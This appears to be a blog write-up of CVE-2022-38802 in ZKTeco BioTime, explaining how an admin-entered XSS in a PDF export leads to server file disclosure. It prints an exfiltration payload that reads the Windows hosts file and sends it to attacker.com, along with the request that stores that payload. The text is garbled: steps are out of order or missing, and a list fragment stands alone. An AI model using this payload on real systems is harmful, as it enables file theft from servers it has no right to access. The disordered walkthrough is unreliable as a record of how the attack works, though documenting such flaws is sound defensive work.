ZKTeco's BioTime is a popular biometric time and attendance management software, used by enterprises worldwide. Security researchers discovered that versions below 8.5.3 Build:20200816.447 are vulnerable to several access control problems, grouped under CVE-2022-38802. This long read explores how attackers can abuse authenticated administrator features to read arbitrary files from the server, using a clever XSS-to-PDF workflow.

Understanding the Vulnerability

The root problem lies in the web application's insufficient access control across several functionality endpoints, like:

holiday

An administrator with access to these features can craft and store malicious input. Later, when exporting certain data as a PDF, these inputs are rendered insecurely and can lead to Cross-Site Scripting (XSS), which is further escalated to local file disclosure due to how the PDF generator processes the input.

Original advisory:  
- NVD – CVE-2022-38802
- Exploit-DB #50980  
- ZKTeco BioTime Insecure Access Control  

PDF generator processes and executes JavaScript embedded in the input

5. JavaScript retrieves local files using custom PDF JS handlers (if available), or exfiltrates sensitive session/pagination to attacker

Why does this work?  
Some server-side PDF export modules will (insecurely) trust and process HTML in fields, sometimes in a headless browser, sometimes using libraries like wkhtmltopdf, DOMPDF, or other converters. When unsanitized input is given by a trusted admin account, libraries may execute embedded scripts or HTML objects.

A _malicious administrator_ inputs the following in a free text field (e.g., Private Message)

<img src="x" onerror="(async()=>{ 
  let r=await fetch('file:///C:/Windows/System32/drivers/etc/hosts');
  let t=await r.text();
  fetch('https://attacker.com/leak?data='+encodeURIComponent(t));
})()">

1. Login as Admin

You need valid credentials. This prevents immediate exploitation by ordinary users, raising attack complexity but not blocking true threats (rogue/malicious admins).

Go to, for example, the manual log submission

POST /manual_log/add
{
  "remark": "<img src=x onerror=…>"
}

3. Export as PDF Functionality

When using the web interface's "Export as PDF" (often /manual_log/export?type=pdf), the server retrieves manual log data (including your malware payload) and renders it as visible content in the PDF.

4. Server Executes JS / Leaks File

If the PDF engine is poorly configured (common for legacy systems), the malicious onerror asset triggers a network request, and your exfiltration server (attacker.com/leak) receives the result.  
Advanced engines may block standard JS but still leak data via SVG filters, malformed images, or internal file-call HTML tags.

Why is this Dangerous?

- Full Local File Read: Not just limited to logs, you can modify paths to try other files (/etc/passwd, C:\Windows\win.ini) depending on server OS!
- Session Hijack: If session cookies/keys are referenced in the PDF context, these too could be exported.

Upgrade BioTime to >= 8.5.3 Build:20200816.447

- Harden PDF Generation: Always sanitize all HTML/JS/Images prior to rendering PDF. Disable JS in PDF generator.

Resources & Further Reading

- CVE-2022-38802 - NIST Database
- Exploit-DB PoC
- SSD Disclosure: Biometric Clock In System Leaks
- OWASP XSS Cheat Sheet

Conclusion

CVE-2022-38802 is a powerful reminder that "admin-only" features still need tight input validation and sanitization. When backend functions (like PDF export) render user/admin-supplied HTML, creative attackers can easily escalate to local file inclusion or even remote code execution. Patch BioTime right away, and rethink how you handle untrusted input through your stack—even for trusted internal users.


*This article is an exclusive, plain-language breakdown suitable for blue/red teams, security engineers, and sysadmins tasked with defending (or auditing) BioTime deployments.*

Timeline

Published on: 11/30/2022 14:15:00 UTC
Last modified on: 12/02/2022 17:18:00 UTC